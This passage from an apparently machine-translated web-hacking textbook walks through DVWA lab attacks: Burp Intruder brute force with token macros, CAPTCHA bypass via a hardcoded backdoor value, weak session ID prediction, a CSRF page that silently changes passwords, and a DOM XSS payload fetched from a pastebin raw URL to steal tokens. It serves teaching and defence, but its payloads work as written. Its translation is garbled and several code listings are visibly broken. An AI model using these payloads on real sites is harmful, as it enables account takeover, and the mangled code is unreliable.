Having said that, from Burp Suite we access the " Project options -> Sessions ",
then we create a new Session management rule ( Session Handling Rules) by clicking on the
button Add [ Figure 6.10a]. A screen will appear where we can enter a description (insert " DVWA
Session "), then add an action (button " Add "): we will choose " Run a macro "[ Figure
6.11].
Figure 6.10a: Let's create a new session management rule
Figure 6.11: we define a description, then an action through a macro
A new pop-up will show us the list of macros present (empty): click again on Add to add one
taking from a history of HTTP requests already generated (if not present, reload the "Brute
Force" page from the Browser): we will obtain the summary of the element, click on the right
button " Configure Item "[ Figure 6.12]. From the pop-up that opens, click again on Add [ Figure
6.13].
Figure 6.12: we have the model on which to create the Macro, to do this we configure the object in
use
Figure 6.13: Let's add the element we want to manipulate
From here we define on Parameter name " user_token "( we find it in the HTML code at the
bottom, followed by the value): this is the token that we must collect every time the page is
generated (the value is instead represented by the "value" parameter). Important: double click
on the value defined in value, so as to automatically fill in the Regex
(regular expressions) in entries " Start after expression " is " End at delimiter ".
Click on OK when you are ready [Figure 6.14].
Figure 6.14: Insert the "user_token" parameter into "Parameter name"
We can confirm all created pop-ups until you come back to the "Session handling" actions
editor: we conclude by checking the item " Tolerate URL; mismatch when matching parameters
(use for URL-agnostic CRSF tokens) ",
then we confirm with OK [ Figure 6.15]. From the window " Session handling rule editor " instead
let's move to the " Scope ", so we disable all modules except " Intruder "( which will then be the
module we use for the Bruteforce attack); we also check the box " Use suite scope [defined in
Target tab] ", so as to force Burp Suite to inject the macro only in the target we want to define
instead of in any request. We conclude by clicking
OK [ Figure 6.15].
Figure 6.15: We enable URL mismatch tolerance, then confirm
Figure 6.16: we disable all modules except Intruder, then we enable "Use
suite scope "
Let's now define the http: // victim domain among our targets: from the " Target -> Sitemap " right
click and select " Add to scope "[ Figure 6.16]: an alert will ask us if we want to ignore the other
elements out of scope, we can safely refuse.
We are now ready to generate the attack as seen in the Low and Medium level: before
launching the actual attack, under the module Intruder, in the tab " Options ", uncheck the item
" Make unmodified baseline request " 120 .
The attack can now be started: we wait for the results and extract the values with length ( Length)
different [Figure 6.17].
Let's make sure that the HTTP responses give as status code 200 (OK): other values, such as
3xx, will probably communicate an incorrect configuration or reading of the Anti-CSRF Tokens.
Figure 6.17: The attack can now be launched. Make sure the status codes are 200. The
correct result will have a different response length than the others.
Defence: Brute Force Web Form
DVWA "Impossible" simulation; Difficulty: 2/5
The speech of a Web App deserves consideration on several fronts, we will try to analyze them
one by one 121 :
Account lockout: on several occasions it is likely to run into account lockouts caused by
excessive login attempts. Although this practice is very popular, we would advise against it as it
would cause inconvenience to its users or collaborators of a specific portal. On certain
occasions it is not uncommon to come across temporary lockouts (1 hour, 1 week, 1 year to
climb) but the approach would be more appropriate only in pentest hardware situations,
therefore physically on the device to be violated (such as a PC or a smartphone to which you
have temporary and limited access).
CAPTCHA: these can partially limit the problem. We would like to recommend them as an
improvement but certainly not unique defense tool: there are programming techniques that
allow you to interact with CAPTCHAs by solving their text-images (OCR technique 122), interact
with sliders / audio, perform simple calculation operations and most of the methods offered by
external CAPTCHAs. The eternal struggle between external CAPTCHAs (such as
reCAPTCHA 123 by Google) is still ongoing and no winner has been announced.
Two-Factor Authentication: currently it appears to be one of the safest systems, so much

so that it has been put into practice by most popular websites (Facebook, Google and many
others recommend associating a double factor). The integration can sometimes not be
simple, fortunately there are already prepared CMS as well as libraries and extensions to the
frameworks to rely on external services (see Authy 124, FreeOTP 125
or Google Authenticator 126) and SMS / email.
External OAuth: it is possible to restrict login only through external authentication systems.
In this way, it will be necessary to manage only the user authorization, delegating the
authentication to those who will manage the logins. It could present management
vulnerabilities, applying the theory explained in the CAPTCHA bypass (Chapter 7.1).
7. ATTACKS THE SESSION
Websites (and web apps in general) make use of sessions to memorize the user and avoid
asking for credentials every time: since an HTTP connection can use several TCP
connections, the web server usually sends a token to the browser session, represented by a
value contained in a variable and sent through URL, in HTTP headers with cookies, through
hidden inputs and much more. Sessions and cookies are therefore essential in the design of a
web app but can contain important risks in terms of security.
Session attacks (Session Hijacking) therefore consist in taking possession of a user's identity,
bypassing the authentication mechanisms: we will therefore demonstrate how it is possible to
appropriate a session and perform (or have performed) actions in the name of another user ,
pass the checks and determine the generation of sessions. Attacks on the Session can be
carried out in several ways; the most common methods are:
Guessing session token Session
abuse (CSRF)
Session theft (Cross-site Scripting) *
Session sniffing (Man-in-the-middle / Man-in-the-browser) **
* Session stealing via XSS will be explained in the "Injection Attacks" chapter. While XSS does
allow session attacks they are more general and allow code execution for other purposes as
well, so you will find the topic in chapter 8.1.
* * These attacks will not be covered in this volume

Such attacks require knowledge and testing environments that involve a third "subject", or the
one from whom we will have to steal the information and then replicate it. This volume will not
deal with network analysis (auditing) and would also require new study topics not intended for
other attacks. We therefore consider the attacks based on MITM not of the Web type but of the
"generic" TCP / IP network.
7.1 Insecure Captcha
Among the proposed defense solutions we have seen the CAPTCHA: as you well know it is a
tool aimed at verifying the legitimacy of a login - or an action in general - based on the
recognition of some activities that, technically, could only be carried out by beings humans.
It is important to consider that there are several CAPTCHA mitigation services or in any case
based on human recognition: from those that show a text to be replicated to the interactive ones
(puzzles, recognize an image and so on) to the more classic questions and answers, CAPTCHAs
can be provided by third party services (see Google reCAPTCHA) or built ad-hoc.
Although they are excellent mitigation tools, they are not entirely perfect: over the years techniques
have been developed, and further versions aimed at solving some security bugs, to bypass them.
Let's try to discover them together!
7.1.1 Types of Captcha Attacks

Wanting to simplify the concept, we can divide CAPTCHA vulnerabilities into two broad
categories:
Vulnerability on the technology CAPTCHA Vulnerability
on management of CAPTCHAs
The first case is dependent on the CAPTCHA provider: in fact, you must know that each
CAPTCHA relies on an algorithm that generates the question that the user will have to answer.
This algorithm can be "interpreted" by learning to read the result: most Bypasses of this type
are based on OCR recognition technologies, very similar to those used to digitize printed texts,
or through the audio formats provided for the blind. (and therefore through voice recognition).
We will not cover CAPTCHA bypassing for two reasons:
They are constantly evolving: at the time of writing, in fact, the well-known Google
reCAPTCHA is undergoing an update to the 3rd version and so many other CAPTCHAs are
adapting.
Bypasses fuel the black market: bypassing a CAPTCHA algorithm has nothing
"intellectually" interesting about it. It's definitely fun to bypass it by building your own reading
algorithm yourself, a little less
buy it. And I'm sorry, most CAPTCHA bypass / resolvers (working) are paid; in addition,
some services that involve the exploitation of resolvering services are suspect.
If you are interested, you can still deepen some interesting Bypass techniques through tools
(and documentation) on the net: who knows that maybe you wouldn't want to build one yourself
127 128 129 .
The second vulnerability is on the management of the CAPTCHA, or rather on the control of its
resolution: in fact, if a CAPTCHA is not properly checked (in the execution steps of a web app)
it risks being useless for security purposes. We will deal with this type of attack during the
current Chapter.
7.1.2 LAB: Insecure Captcha Bypass

The purpose of this LAB is to bypass the CAPTCHA through an incorrect handling of HTTP
requests, not correctly filtered. Our goal will be to change the current user password (admin)
through the "Insecure CAPTCHA" module. NB: it is expected that the user has correctly
configured the CAPTCHA as described previously (Chapter
3.8.1.2).
Attack: Insecure CAPTCHA " Low "

The first level of security provides a form in which it is possible to establish a new password:
the two input fields are used to verify correct compilation, while before the Enter button there is
a reCAPTCHA [Figure 7.1].
Figure 7.1: The simplest of the forms. To send it, however, it is necessary to correctly fill in the
CAPTCHA.
With Burp Suite open and configured we can monitor all HTTP requests made: sending the
form for the first time reloads the same page we are in, but passing values in HTTP POST
[Figure 7.2]. The data in POST is structured as follows:
step = 1 & password_new = pass1 & password_conf = pass1 & g-recaptcha- response = ABC ........ &
Change = Change
Figure 7.2: from the Burp Suite HTTP history ("Proxy -> HTTP history") we can find the
first HTTP response. Here the data is sent in POST.
Where is it:
step = 1: represents a variable that determines which function in the web app should be
performed
password_new = pass1: represents the value to be processed (i.e. the new password)
password_conf = pass1: confirmation of the new password which must be the same as the previous
one
g-recaptcha-response = ABC ...: the response to the reCAPTCHA that will be processed to
understand if the CAPTCHA is correct or not
Change = Change: a variable that indicates the action to be performed (change the password)
We can obviously confirm the hypothesis by reading the source [Code 7.1].
Code 7.1
<? php
if (isset ( $ _POST [ 'Change' ]) && ( $ _POST [ 'step' ] == '1' )) {
// Hide the CAPTCHA form

$ hide_form = true ;
// Get input
$ pass_new = $ _POST [ 'password_new' ];
$ pass_conf = $ _POST [ 'password_conf' ];
// Check CAPTCHA from 3rd party

$ resp = recaptcha_check_answer ( $ _DVWA [ 'recaptcha_private_key' recaptcha-response ' ]);
id = captcha & security = low
Hence the vulnerability: the step1 page that will be presented to us does not deal with
processing the results, but only showing us the message that the reCAPTCHA has been
correctly validated, then offering us the possibility to confirm the action [Figure 7.3].
Figure 7.3: You were good, you filled out the CAPTCHA!
By clicking on "Change" a new HTTP request will be generated: this time the page will send only
the passwords (pass_new and pass_conf) and the variable step will be 2 .; this will trigger a new
function which it will take care to verify
only passwords, without checking the correctness of the CAPTCHA. The captured request will
then be available in the HTTP log [Figure 7.4].
Figure 7.4: step 2 does not provide any control over the CAPTCHA.
This allows us to take the last request and replicate it by modifying the contents of the POST
request: with a right click on the HTTP request that interests us (or CTRL + R) we will send it to
the " Repeater ", a Burp Suite module that allows us to resubmit the same request by modifying
its contents [Figure 7.5].
Figure 7.5: we can replicate the HTTP request by sending it to the Repeater
Then we move to the " Repeater " above: we will find the
HTTP request, let's modify its contents POST which will be found at the bottom and click on Go:
after a few moments we will receive an HTML response on the right window, if the attack is
successful we will find printed in the output "Password Changed" [Figure 7.6].
Figure 7.6: from the Repeater we modify the HTTP request and re-send it. From the output a
right we confirm the result.
The attack will be successful and it will be possible to change the password without having to
re-enter the CAPTCHA.
Attack: Insecure CAPTCHA " Medium "
This level of security is very similar to the previous one: the only difference is in a new variable,
called "passed_captcha", which is generated in step 1 [Figure 7.7].
Figure 7.7: Nothing changes from the Low level, except for the new variable
"passed_captcha" passed in HTTP POST
If this is not passed in HTTP Post in step 2, the script will refuse to perform the operation. In
any case, the bypass procedure remains the same as seen in the previous level [Figure 7.8].
Figure 7.8: to solve the level just follow the previous solution
The code portion is present following the declaration of the inputs [Code 7.2].
Code 7.2
// Check to see if they did stage 1
if (! $ _POST [ 'passed_captcha' ]) {
$ html . = "<pre>
<br /> You have not passed the CAPTCHA. </pre> " ;
$ hide_form = false ;
return;
}
id = captcha & security = medium
Attack: Insecure CAPTCHA " High "

The following security level includes several changes compared to the previous two:
The step is unique, so a check will be made to the reCAPTCHA
A check is carried out at User-Agent

First of all, let's do a quick reading of the code and in particular of the portion that interests us
[Code 7.2a].
Code 7.2a
<? php
if ( $ resp ||
( $ _POST [ 'g-recaptcha-response' ] == 'hidd3n_valu3'
&& $ _SERVER [ 'HTTP_USER_AGENT' ] == 'reCAPTCHA' )
)
id = captcha & security = high
Let's start by checking the reCAPTCHA: we have already mentioned that we are unable to fix
this automatically (otherwise we would have used another approach such as an OCR bypasser 130
and similar): in this situation it is assumed that the developer of the web app has left a ...
cheat? What we see is in fact a condition:
SELF g-recaptcha-response IT'S EQUAL TO hidd3n_valu3 THEN run the code "
yet - as seen in the Low level - we know that g-recaptcha-response is the reCAPTCHA
response. But then why this?
Let's put ourselves in the developer's shoes: he's integrating functions upon functions, he's
designing the databases, in short, he needs to test every single feature of the web app. How
much time would you spend filling out the reCAPTCHA each time? Much. So much so that it
has left itself a kind of backdoor: if it injects "g-recaptcha-response" with the value
"hidd3n_valu3" every time, it gives it access. Well, too bad he forgot to remove the code before
going into production!
This kind of mistakes can happen to everyone: to err is human and this is a clear
demonstration - even if simulated - of how sometimes even the best make mistakes. However,
this can make a possible attack more difficult as the cyber-criminal does not necessarily have
the source code of the site in his hands.
Secondly, we have control over the User-Agent: although like

approach is not very popular we will have to bypass it. But first a quick explanation on
User-Agents.
The User-Agent is the "signature" that a program - in particular a Browser - leaves within the
HTTP Headers. By default, many software leave the User-Agent of their language / library in
HTTP requests: the same, which are then used for attacks or enumerations, can be blocked
starting precisely from the User-Agent they leave (such as many programs written in Python
leave "Python-url / 3.6" as User-Agent).
Despite this, many programs (especially those designed for pentesting) allow you to spoof
(modify) the User-Agent.
Returning to us, the defense system provides for it User-Agent spoofing:

this can always be done from the HTTP request.
We then simulate a first password change, then from " Proxy -> HTTP History " let's right click
on the HTTP request: from there let's send it to the form
Repeater, as seen above. At this point we can modify as follows [Figure 7.9]:
User-Agent: reCAPTCHA
POST
step = 1 & password_new = qwerty1 & password_conf = qwerty1 & g-recaptcha- response = hidd3n_valu3 &
user_token = QUIILTOKEN & Change = Change
Figure 7.9: eye, at this level there is only one step!

TIP: Did you notice the user_token in HTTP requests? At the moment, it is not necessary to
simulate it but in case of external attacks you will have to generate it. You will find all the
answers you need in chapter 7.3.
The attack will be successful: as always, compare the HTML results in the right tab.
Defence: Insecure CAPTCHA

DEMO simulation
It is important to always consider the response of the CAPTCHA and not to delegate the
verification to an intermediate page (as seen in the Low and Medium level). Also, let's make
sure that no code gaps are left open with which control can be bypassed.
CAPTCHAs are one of those technologies that, if well implemented, can make a difference:
clearly there are situations in which it will not be possible to intervene (for example new
bypasses) and therefore it is always advisable to update your scripts to the latest versions of
the APIs proposed by developers.
7.2 Session Prediction
We already know that on certain occasions, when the user is authenticated, the server and the client
will exchange information - called Session - so that the web app will know that the browser will be the
logged in user and will avoid requesting a new one every time. authentication.
These sessions are compared through information, called Session ID, which is the random
result generated by algorithms and, as long as these are difficult to predict, it will be equally
difficult to discover them. But what if the session ID is easily predictable?
During his routine operations, the cyber-criminal carefully checks the HTTP responses and in
particular the headers that contain information that is usually not shown on the screen; if this
Session ID is easily "guessed", it is possible to bypass the authentication and find yourself
logged in as a registered user.
The Session ID is represented as follows within the HTTP response header:

Set-Cookie: session = 123456789
Content-Length: 666
Content-Type: text / html
The cyber-criminal, through ad-hoc written tools or tools designed for the occasion, may be
able to enumerate functioning session IDs. According to the Bruteforcing principle (chapter
6.2.4) it is sufficient to generate Session ID until the HTTP response of the Web Server is valid
(200, OK). Once the Session ID is obtained, the cybercriminal will inject it into their browser
and automatically find themselves logged in as a user.
7.2.1 LAB: Weak Session ID

The following LAB consists in predicting the value of the session generated through the
dedicated test page (Weak Session IDs) available on the page:
http: // victim / vuln / vulnerabilities / weak_id /

With each click, the page will generate the variable dvwaSession, and will be present in cookies. Since
the LAB does not provide the option of verifying whether the generated session is correct, we will
proceed only with the predictability of the session, leaving the task to the "expert" researcher to test
the session.
Attack: Weak Session ID " Low "
By reading the HTTP Headers ( Proxy -> HTTP History), at each session update via the " Generate
"[ Figure 7.10], we collect the value of the dwvaSession inside the cookies, which in our case is:
Cookie: dvwaSession = 20030 ...
Most likely you will have a smaller number (even 1!) But don't worry, we just ran a lot of tests;)
[Figure
7.11]
Figure 7.10: clicking on Generate we will find all the HTTP requests generated
Figure 7.11: Collect the dvwaSession value, you will need to compare it soon
We proceed to regenerate new requests; in our case we have regenerated two more and the
result of the HTTP Headers [Figure 7.12] is:
Cookie: dvwaSession = 20032 ...
In this case it is obvious how the Session ID is generated by increasing by a value each time, in
fact:
1) 1st generation = 20030
2) 2nd generation = 20031
3) 3rd generation = 20032
Figure 7.12: 20030 + 2 = 20032 ...
The short PHP code on the web side confirms that the script generates the Session ID by increasing the
value by one unit at each request [Code7.3].
Code 7.3
<? php
$ html = "" ;
if ( $ _SERVER [ 'REQUEST_METHOD' ] == "POST" ) {if (! isset ( $ _SESSION [ 'last_session_id'
])) {
$ _SESSION [ 'last_session_id' ] = 0 ;
}
$ _SESSION [ 'last_session_id' ] ++;
$ cookie_value = $ _SESSION [ 'last_session_id' ];
setcookie ( "dvwaSession" , $ cookie_value );
}
?>
id = weak_id & security = low
Attack: Weak Session ID " Medium "
In this level, the Session ID is dynamically generated through a system variable: in detail, the
PHP script generates the Session ID using the UNIX time of the Web Server [Code 7.4].
Code 7.4
<? php
$ html = "" ;
if ( $ _SERVER [ 'REQUEST_METHOD' ] == "POST" ) {
$ cookie_value = time ();
setcookie ( "dvwaSession" , $ cookie_value );
}
?>
id = weak_id & security = medium
But how do we identify it without having the source code of the page in our hands? A
well-trained eye might recognize it through the output: web programmers often have to deal
with dates (and time in UNIX format); in fact, the "UNIX time" changes the first two digits every
3-4 years. In our test the value is:
dvwaSession: 1530890204
which until 2020 will always have an initial value of 15. From 2021 until 2024 it will have an initial value of
16.
Generating a session through UNIX Time is an uncommon practice in the design of a web app,
at least in the production one, while it is easier to find it in the amateur one.
Attack: Weak Session ID " High "
In this last level of difficulty we find a classic approach, that of the programmer who tries to use
dynamic variables and then compress the result in a hash (in this case MD5) [Figure 7.13].
Figure 7.13: the dvwaSession is of type MD5. What can we do?
Also in this case, experience and a careful eye can make the difference: those who chew safety
every day recognize on the fly an MD5 hash - which we remember is composed of 32
characters 0-9 f - and therefore will jump to the conclusion of wanting to force it. In this case the
hash:
c81e728d9d4c2f636f067f89cc14862c
will result as value:

2
The construction pattern is evidently the one already seen at the Low level, with the exception
that the result is in MD5. To confirm this, we generate three more sessions, so we expect the
result to be [Figure 7.14]:
e4da3b7fbbce2345d7772b0674a318d5
or:
5
Figure 7.14: after 3 requests the md5 value (extracted) turns out to be 5
We can confirm this hypothesis by analyzing the source code: if the variable in session
"last_session_id_high" does not exist, set it to 0, then increase it by 1. Now create a cookie by
encrypting the value of "last_session_id_high" in MD5 [Code 7.5].
Code 7.5
<? php
$ html = "" ;
if (! isset ( $ _SESSION [ 'last_session_id_high' ])) {

$ _SESSION [ 'last_session_id_high' ] = 0 ;
}
$ _SESSION [ 'last_session_id_high' ] ++;
$ cookie_value = md5 ( $ _SESSION [ 'last_session_id_high' ]);
setcookie ( "dvwaSession" , $ cookie_value , time () + 3600 ,}

?>
id = weak_id & security = high
With respect to this situation, it must be stated that the use of the counter alone is not popular
but of other elements (such as dynamic variables, see time, or salt) to reinforce the MD5 result;
all techniques already seen in chapter 6.1.2 dedicated to the security of MD5s and in the fix
proposed below.
Defence: Weak Session ID
DVWA simulation
The defense algorithm proposed by DVWA makes use of a one-way hash (SHA1) which makes it
practically impossible to reverse the content (see chapter 6.1.2 about MD5, SHA1 etc ...): the
content of the encrypted text is generated from mt_rand (mathematical function in PHP that
generates a random value through a pseudorandom algorithm (PRNG) called Mersenne Twister),
the “Unix Time” of the server and an additional salt ("Impossible"). Even knowing the algorithm it
will be almost impossible to generate the session and therefore replicate it on the attacker's
computer [Code 7.6].
Code 7.6
<? php
$ html = "" ;
$ cookie_value = sha1 ( mt_rand (). time (). "Impossible" );
setcookie ( "dvwaSession" , $ cookie_value , time () + 3600 ,}
?>
id = weak_id & security = impossible
7.3 Cross-Site Request Forgery

A Cross-site Request Forgery attack (abbreviated to CSRF or XSRF) is one of the most
popular session vulnerabilities on the web which consists of deceiving a user into unknowingly
making a
Uncontrolled HTTP request. What does this HTTP request consist of? Let's assume the
following case.
The wallet of a well-known cryptocurrency site (eg: crypto.example.com) allows you to make
payments to other wallets. The request will generate a URL like this:
crypto.example.com/pagamenti.php?importo=300&wallet=XXX, where XXX will be the
destination address of the criminal's wallet. If there were no additional controls, the attacker
could decide to "force" the user to click on the link but, to be more precise, to generate an
HTTP request, perhaps inside an iframe or even attaching an image.
In fact, an HTTP request can be generated in thousands of ways, for example by loading the
following HTML code [Code 7.7]:
Code 7.7
<img src = "page.php" />

we already know that it will never be shown (unless it is specially generated through graphics
libraries, but we don't care). However, it is the request itself that generates the "problem", as it
would still be screened by the server and, without the necessary checks, would execute the
code
(on the other hand, it is still an HTTP request) [Code 7.8]:
Code 7.8
<img src = "crypto.example.com/pagamenti.php?

amount = 300 & wallet = XXX " />
And so, for example by attaching the following code in an email, it would generate the HTTP GET
request, and with it the bank transfer of the example.
7.3.1 LAB: Cross-Site Request Forgery

The purpose of this LAB is to force the website to accept an HTTP GET request that is
vulnerable to the Cross-Site Request Forgery. In particular, the password of the current user
(admin) will be changed without having to insert it in the input.
Attack: Cross-Site Request Forgery " Low "

DVWA simulation; Tool: nano
The basic attack involves a simple HTTP GET request; in fact, the formula with which the test
page (http: // victim / vuln / vulnerabilities / csrf /) predicts this vulnerability is as follows:
http: // victim / vuln / vulnerabilities / csrf /?

password_new = test123 & password_conf = test123 & Change = Change #
From the car attacker we may want to create a simple HTML page that generates the
following HTTP request. Let's create a suitable work environment:
$ mkdir $ HOME / hacklog / csrf /
$ cd $ HOME / hacklog / csrf /
and create the .HTML file:
$ nano test.html
Inside we will write some simple HTML code (note how the img tag also contains the inline
style in CSS which will serve not to show the classic red square) [Code 7.9].
Code 7.9
<html>
<head>
<title> Bad news! </title>
</head>
<body>
<h1> Sorry to tell you but this page ... is screwing you! </h1>
<img style = "display: none"

src = "http: // victim / vuln / vulnerabilities / csrf /?
password_new = test123 & password_conf = test123 & Change = Change # "
/>
</body>
</html>
At this point we could have a potential victim run the page (making sure that this is logged in)
and maybe host it somewhere, or as already mentioned, sending it in an email. If we are
interested in seeing the result, we can open the page from the browser [Figure 7.15]:
$ firefox $ HOME / hacklog / csrf / test.html

Figure 7.15: Embedded HTML code executes a request. If you were logged into DVWA (e
so you are the victim yourself) now your password is test123!
From the car victim we can see how the source code is responsible for this vulnerability: in
particular lines 5 and 6 directly save the values in GET ("password_new" and
"password_conf") inside the variables without further verification. If the two passwords match
(line
9) then the UPDATE query is executed (which consists in modifying the user field, therefore his
password). The password will be saved in md5 (line
12) [Code 7.10].
Code 7.10
<? php
if (isset ( $ _GET [ 'Change' ])) {
// Get input
$ pass_new = $ _GET [ 'password_new' ];
$ pass_conf = $ _GET [ 'password_conf' ];
// Do the passwords match?
if ( $ pass_new == $ pass_conf ) {
// They do!
...
$ pass_new = md5 ( $ pass_new );
...
http: //victim/vuln/vulnerabilities/view_source_all.php? id = csrf
Attack: Cross-Site Request Forgery " Medium "

DVWA simulation; Tool: nmap
This time the GET request responds with code 302, instead of 200 (which would have meant
"OK, the request is correct") [Figure 7.16].
Figure 7.16: Ops! Something is blocking our attack!
The approach used to secure the code this time provides for a check on the HTTP referrer (the
page preceding the real one) and, if the latter does not contain the name of the server (victim),
it will skip the query process UPDATE. From the car victim we identify the cause of the
problem on line 5 [Code 7.11].
Code 7.11
<? php
if (isset ( $ _GET [ 'Change' ])) {
// Checks to see where the request came from
if ( stripos ( $ _SERVER [ 'HTTP_REFERER' ], $ _SERVER [ 'SERVER_NAME'
// Get input
$ pass_new = $ _GET [ 'password_new' ];
$ pass_conf = $ _GET [ 'password_conf' ];
http: //victim/vuln/vulnerabilities/view_source_all.php? id = csrf
However, the control refers to the HTTP Referrer set (which could be for example http: // victim
/ blablabla), so to bypass the
control it would be enough to make sure that the source (the previous page "test.html") is
renamed in "victim.html". In this way the stripos function (line 5) will find the value "victim" in
both variables (the server_name and the http_referrer).
From the car attacker then proceed to change the name of the previously created file:
$ mv $ HOME / hacklog / csrf / test.html $ HOME / hacklog / csrf / victim.html
Re-opening it from the attacking machine (or letting the victim open it, perhaps loading it on its
own host) will bypass the check and therefore the attack will be successful [Figure 7.17].
Figure 7.17: If the attack is successful you will get the Status code "200 OK" in Analyze Item
LAB: Cross-Site Request Forgery "High"

DVWA simulation
In this type of approach a session token is used: this token is unique and is generated at each
portal request, so that if the user is deceived through the CSRF attack, he will not have a valid
session token anyway.
From the car attacker we can load the page source (browse to view-source: http: // victim /
vuln / vulnerabilities / csrf /) and on line 72 you will find a hidden input where the token value is
saved, represented roughly in this way [ Code 7.12]:
Code 7.12
<input type = 'hidden' name = 'user_token'

value = 'a1059459858bb37406d056519d693ab7' />
Each time we generate a password change in the query-string, the token will also be passed; if
it does not exist or be corrected the page will give an error [Figure 7.19]. Furthermore, the
token loses validity, so we exclude any theft by going through prolonged attacks. Since there
are no (as far as we know) vulnerabilities on sessions, we exclude the possibility of being able
to generate them or even force them (via bruteforce).
We must therefore rely on a vulnerability not yet analyzed but which we will see shortly: the XSS
( chapter 8.1). Thanks to it (we will use in particular the DOM Based at the "High" level) we can
access any client element, including the user_token [Figure 7.18].
If something is not clear to you from now on, it is because we have not covered the XSS type
of attack: you can come back when you want to re-study it more calmly, there is no rush!
Figure 7.18: In one go, we need to grab the user_token and pass it to the
password change page.
Figure 7.19: No token, no party!
Let's briefly remember how it works: given the following URL, you can call up some Javascript
code:
http: // victim / vuln / vulnerabilities / xss_d /? default = English #
<script> alert (document.cookie) </script>
The payload will be a bit long, will call several functions and may be difficult to study, so we will
prefer to load it externally:
http: // victim / vuln / vulnerabilities / xss_d /? default = English # < script src = "LINKPAYLOAD.js" </script>
The cyber-criminal may decide to upload it to their own host

(even on the attacker machine) risking, however, to come out. Instead, it will use hosts that are
already hacked or services that host a few lines of code, such as pastebin 131 . In our test we
uploaded it and the result is present at the following address:
https://pastebin.com/dx8eWrre
In order to be reused you will need to get the RAW version of the code (without HTML layout,
formatting and so on) then click on the RAW button on the page or insert "raw" between the
host and the paste ID:
https://pastebin.com/raw/dx8eWrre
We now come to the content of the payload. Here's what it will need to do:
1) Load the DOM Based XSS page, exploiting the known vulnerability
2) From the XSS DOM Based page download the CSRF page, then collect the token
3) Summon the CSRF page, injecting the token, then change the password
At first it may seem very complicated, in this regard we advise you to read the comments on
the code proposed here and to read up on the specific functioning of the functions
demonstrated [Code 7.13].
Code 7.13
<? php
// I define the URL I intend to violate
var csrf_url = 'http: // victim / vuln / vulnerabilities / csrf /';
// I create a "container" to which I will connect
xmlhttp = new XMLHttpRequest ();
xmlhttp . onreadystatechange = function () {
// If the connection was successful

if ( xmlhttp . readyState == 4 && xmlhttp . status == 200
// In text save the page results

var text = xmlhttp . responseText ;
// I define the regex to search for user_token
var regex = '/ user_token' value = '(. *?) \' \ / \> / ' ;
// In match I load the results (as an array)

var match = text . match ( regex );
// Intoken I load the first result

var token = match [ 1 ];
// Print the result

alert ( token );
// Send user back to password change page

location . href = csrf_url + '?
password_new = newpass & password_conf = newpass & Change = Change & user_token = '
}
};
// I connect the "container"

xmlhttp . open ( "GET" , csrf_url , false );
xmlhttp . send ();
Now that the payload is ready, we just need to load it in the final URL, then have it loaded to
the user as seen previously:
http: // victim / vuln / vulnerabilities / xss_d /? default = English # </ option> </select> <script src = 'https:
//pastebin.com/raw/dx8eWrre'> </script>
In this exercise we have avoided integrating everything in an HTTP GET request: given it is
established that the previous level has correctly explained the functioning of the vulnerability, in
this we prefer to concentrate our efforts on the design of the payload, simplifying it to the
extreme even for those who do not have great programming knowledge. If you want, you can
deepen the payload through an advanced model that can also support authentication
(https://pastebin.com/R5kXYajU) 132 .
Defence: Cross-Site Request Forgery
DVWA simulation
Most mitigation approaches, including DVWA, involve requiring manual confirmation from the
user. For example, there may be a reconfirmation of the current password, information that
(hypothetically) the cyber-criminal does not know (and even if he did, he would use the
traditional login method to hack the account) [Figure 7.20]. This is one of the reasons why,
often, the most "dangerous" actions of our web activities require a new password confirmation.
Figure 7.20: You can do as many CSRF attacks as you want but without password you don't go from
Nowhere!
In addition to this resolution, we encourage the developer not to:
Use GET methods for requests that involve changes without proper checking
Allow operations without checking that the Domain Referer (the source from which the requests
arrive) is the same as the Web App
Ignore XSS vulnerabilities, which can still allow session theft
Use old libraries or outdated frameworks for managing the

session but rather use reliable frameworks
8. INJECTION ATTACHMENTS
If you have had the opportunity to deepen the basics of Web Programming, and in particular of
the first "exploit" we performed (chapter 1.6), you have a more or less clear idea of how
dangerous it is to let the user be able to type whatever he wants within an input on the web: a
good design on the security of a software, regardless of the purposes or fields in which it will
be applied, consists in checking that the user can only write what we foresee in the system . It
goes without saying, therefore, that it is important that any input entrusted to the user (and
therefore processed) must be absolutely and unequivocally what we expect.
Clearly the common Web Master cannot anticipate these problems,

that instead they should to be intercepted from
programmer: this, unfortunately, is the "price" to pay for not being the designers of your own
website (but we, fortunately, do not expect it from anyone).
8.1 Cross-Site Scripting

An uncontrolled input from a user can cause enormous damage to the server or web
application. However, the problem can also be extended to the client level through a
vulnerability known as Cross-Site Scripting (XSS).
Cross-Site Scripting is a type of injection attack in which malicious code can be inserted or
generated within a legitimate website. XSS-type attacks generally make a victim execute
HTML or Javascript code, so that they can perform browser-side actions without them noticing.
Since they run directly on the host, they can access resources such as cookies, session tokens
and any other information that only the website (victim) can actually access.
Given any HTTP request (be it GET or POST) the value sent
from the page can be processed from the website page. Let's assume the following URL:
http://example.com/page.php? value = Stephen
and the following PHP code (from the page.php page) [Code 7.14]:
Code 7.14
<? php
echo ( $ _GET [ 'value' ]);
?>
The web page will print on the screen the value (what is after? Value =) passed via HTTP GET.
Instead of a normal value, the cybercriminal could enter some unfired HTML code:
http://example.com/page.php?value= < h1> Stephen </h1>
or a little more dangerous, such as an iframe 133 :

http://example.com/page.php?value= < iframe
src = "http: // attacker / maliciouspage">
Everything written in the URL query-string will be placed on the web page and rendered by the
browser, including some Javascript code:
http://example.com/page.php?value= < script> alert (1) </script>
The risks associated with XSS vulnerabilities can be of various types. Let's try to understand
some of them:
Theft of cookies and session tokens: through client-side programming it is possible to

access cookies and tokens generated by the server (and stored in the client) that are used
by the web app to recognize the user's session. This information is then sent to the
cyber-criminal who will emulate it on their browser, compromising the user's account without
knowing their login credentials. In many cases, it is the only thing to do to overcome the
CSRF vulnerability defenses (chapter 7.3).
User fingerprinting: on the investigative level, an XSS vulnerability allows data to be

collected on the user's browser, by carrying out a collection of unique and non-unique data
(browser version, resolution, font, operating system and much more) thus creating a very
precise form, helping to compromise the identity of the user.
Redirecting: through client-side scripting it is possible to send the user back to another
page. In these cases we are probably faced with phishing attacks (chapter 11) or more
simply with vandalism, called "virtual defaces".
Keylogging: thanks to the client-side scripting language it is possible to log all user
activities, from writing to browsing, up to the generation of heatmaps and video loggers. The
information will thus be sent in real-time to an external server, which will store the results.
Automate actions: the client language allows you to unknowingly make the user perform
actions. In fact, knowing the Javascript language it is possible to emulate human actions
such as clicking on a button, typing from the keyboard, scrolling, focusing on some elements
and so on.
XSS vulnerabilities are the most popular 134 it is still present on the net; this fame has fueled
efforts to find preventive solutions even before they are detected - and exploited - by the bad
guys.
